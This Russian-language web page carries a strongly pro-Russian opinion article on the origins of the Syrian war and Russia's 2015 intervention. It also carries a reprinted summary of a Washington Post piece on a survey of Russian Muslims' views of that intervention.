    Сыграло свою роль и региональное соперничество между Саудовской Аравией и Ираном. В попытках ослабить влияние Исламской Республики саудовская королевская семья приняла решение свергнуть сирийский режим. Весной 2011 года министр иностранных дел Саудовской Аравии Сауд аль-Фейсал в беседе с главой администрации бывшего американского вице-президента Дика Чейни Джоном Ханной выразил уверенность, что смена режима в Сирии будет чрезвычайно благотворной для Саудовской Аравии: «Король, — заявил он, — знает, что ничто кроме краха самой Исламской Республики не может ослабить Иран сильнее, чем потеря Сирии».

    Особо предательской по отношению к Сирии была роль Турции. Надо напомнить, что в период президентства Башара Асада произошло существенное улучшение сирийско-турецких отношений. Турецкий министр иностранных дел Ахмет Давутоглу проводил в Дамаске с сирийским президентом больше времени, чем со своей семьей в Турции. Между двумя странами было подписано соглашение о Зоне свободной торговли.

    Однако после начала кризиса в Сирии правительство Эрдогана резко поменяло курс и нацелилось на смену режима в Дамаске. Уже в ноябре 2011 года в турецком Искендеруне была открыта база для тренировок сирийских боевиков.

    На первом этапе конфликта (до лета 2013 года) американцы поручили вести «сирийское досье» Турции и Катару. В мае 2012 года в Дамаске побывала катарская делегация, обещавшая прекратить враждебные действия против Сирии, в случае если Башар Асад согласится отдать ключевые посты в правительстве страны «Братьям-мусульманам», патронируемым Анкарой и Дохой. То есть Асаду прямо предложили передать страну под внешнее управление. Когда же он отказался, против его страны началась необъявленная война.

    Очень скоро вслед за поставками оружия сирийской оппозиции Турцией, Катаром, Саудовской Аравией и странами НАТО в Сирию стали съезжаться «воины джихада» из десятков стран мира. Первые боевики, составившие потом костяк террористической группировки «Исламское государство», прибыли в Сирию из Ирака в феврале 2012 года с ведома ЦРУ США…

    В результате к началу 2013 года Сирия стараниями таких ее «друзей» превратилась в настоящий рай для джихадистов и в ад для собственных жителей. К лету 2013 года радикальные исламисты оттеснили умеренную оппозицию, представленную Сирийской свободной армией (ССА) и уверенно перехватили инициативу в гражданской войне.

    «Друзья Сирии» часто лицемерно сетуют на бомбардировки и обстрелы городов и жилых кварталов сирийскими правительственными войсками. Это чистой воды лицемерие: военно-политический конфликт в стране никогда не достиг бы такого ожесточения, если бы Запад и монархии Персидского залива не подливали регулярно масло в огонь гражданской войны. В итоге ведущими силами в антиправительственном лагере стали радикальные исламистские организации «Исламское государство» и «Джабхат ан-Нусра», оттеснившие или поглотившие мелкие группировки. Некоторое исключение составляла разве что просаудовская «Армия ислама» («Джейш аль-Ислам»).

    Не будем обманываться: если бы в 2013-2014 годах «друзьям Сирии» удалось свергнуть Башара Асада, власть все равно не досталась бы «умеренным». Страна оказалась бы поделенной между различными вооруженными формированиями, которые сразу же начали бы выяснять отношения друг с другом. Сирия точно превратилась бы во вторую Ливию – одичавшую, безгосударственную территорию хаоса.

    На этом фоне другом Сирии, наряду с Ираном, выступила Россия. Напомним, что вплоть до 2015 года Россия не вмешивалась в конфликт и не поставляла Башару Асаду оружие. Вместе с тем Москва твердо выступала против любых попыток внешних сил решить судьбу Сирии, игнорируя волю сирийского народа. Трижды Россия накладывала вето при голосовании резолюций в Совете Безопасности ООН, пресекая попытки Запада «легализовать» вмешательство в сирийские дела. Лишь благодаря такой позиции Москвы Соединенным Штатам не удалось повторить в Сирии ливийский вариант.

    Военное вмешательство России в сирийский конфликт, начавшееся в сентябре 2015 года, коренным образом отличается от интервенции США и их союзников. Только Россия и Иран присутствуют в Сирии по официальной просьбе законного правительства Сирийской Арабской Республики.

    За пять с половиной месяцев российским Воздушно-космическим силам удалось сделать то, что американцы не смогли (вернее, не захотели) сделать за полтора года: остановить дальнейшую экспансию «Исламского государства» и подорвать основы ее существования. Для нетеррористических группировок вооруженной оппозиции российская военная операция стала образцом «принуждения к миру», что и продемонстрировало начало Женевских переговоров.

    Женевский форум должен привести Сирию к долгожданному умиротворению. Конечно, политическая система страны не останется прежней, какой она была до начала конфликта. Предстоит Сирии и существенное обновление политической элиты. Однако эти вопросы будет уже решать сирийский народ, а не западные стратеги и не шейхи с берегов Персидского залива.

    Александр КУЗНЕЦОВ | 16.03.2016 |

    Источник — fondsk.ru
  • Возмущены ли 20 млн российских мусульман-суннитов тем, что Путин бомбит Сирию?

    Возмущены ли 20 млн российских мусульман-суннитов тем, что Путин бомбит Сирию?

    rossia-flaq«Многие наблюдатели предупредили, что военная кампания Путина в Сирии может вызвать осложнения в России, — напоминает политолог Егор Лазарев в The Washington Post. — В 144-миллионном российском населении насчитывается порядка 20 млн мусульман, подавляющее большинство из которых — сунниты. Некоторые аналитики предполагают, что эти российские сунниты воспротивятся поддержке, которую Россия оказывает асадовскому режиму, возглавляемому алавитами и наносящему удары по суннитским повстанцам, а также российским попыткам возглавить коалицию шиитских держав — Ирана, Ирака и Сирии».

    Автор сообщает, что для проверки этих предположений социологический отдел «Фонда по борьбе с коррупцией» (ФБК, Москва) опросил 1200 человек в Татарстане и Дагестане.

    «Мы попросили всех респондентов сказать, какой из вариантов они предпочитают:

    — Россия никак не должна участвовать в военных действиях в Сирии

    — России нужно участвовать в сирийской войне на стороне Асада

    — России нужно войти в международную военную коалицию в Сирии, наряду с США и Францией.

    Те, кому не понравился ни один из этих вариантов, могли самостоятельно сформулировать предпочтительный для них вариант», — говорится в статье.

    «Если бы предсказания аналитиков были верны, мусульмане чаще выбирали бы антивоенные ответы и реже поддерживали вмешательство Путина. Однако мы обнаружили нечто другое», — сообщает Лазарев.

    «Мусульмане и Татарстана (24%), и Дагестана (22%) чаще высказывались против войны в Сирии, чем православные христиане в Татарстане (18%). Однако разница невелика. Более того, мусульмане поддержали оказание помощи Асаду. Вообще-то вмешательство на его стороне поддержало больше дагестанских мусульман, чем татарстанских православных (29% против 23%), — говорится в статье. — Возможно, одна из причин, по которой результаты опроса противоречат предсказаниям специалистов о выступлении мусульман против путинского вмешательства в Сирии — то, что большинство участников нашего опроса не воспринимают сирийский конфликт как межконфессиональный конфликт. Другими словами, они не видят в российской интервенции попытку Путина помочь алавитскому режиму расправиться с суннитскими повстанцами».

    «Большинство представителей обеих религий — порядка 40% — не знают, в чем причина [сирийского] конфликта. Еще важнее то, что только 6% дагестанских мусульман видят в сирийской войне конфликт между суннитами и шиитами. И только 3% татарских мусульман воспринимают этот конфликт именно так, — говорится в статье. — Порядка 25% татарских мусульман воспринимают конфликт как борьбу с исламскими террористами. Но ни одна другая группа не достигает такого уровня; только 20% христиан согласны с этой точкой зрения и только 15% дагестанских мусульман. Те, кто придерживается этой позиции, возможно, согласны с заявлениями российских СМИ, что Путин вмешался в войну в Сирии, чтобы сражаться с «Исламским государством» (организация запрещена в РФ. — Прим. ред.)».

    Егор Лазарев | The Washington Post
    8 марта 2016

    Источник — inopressa.ru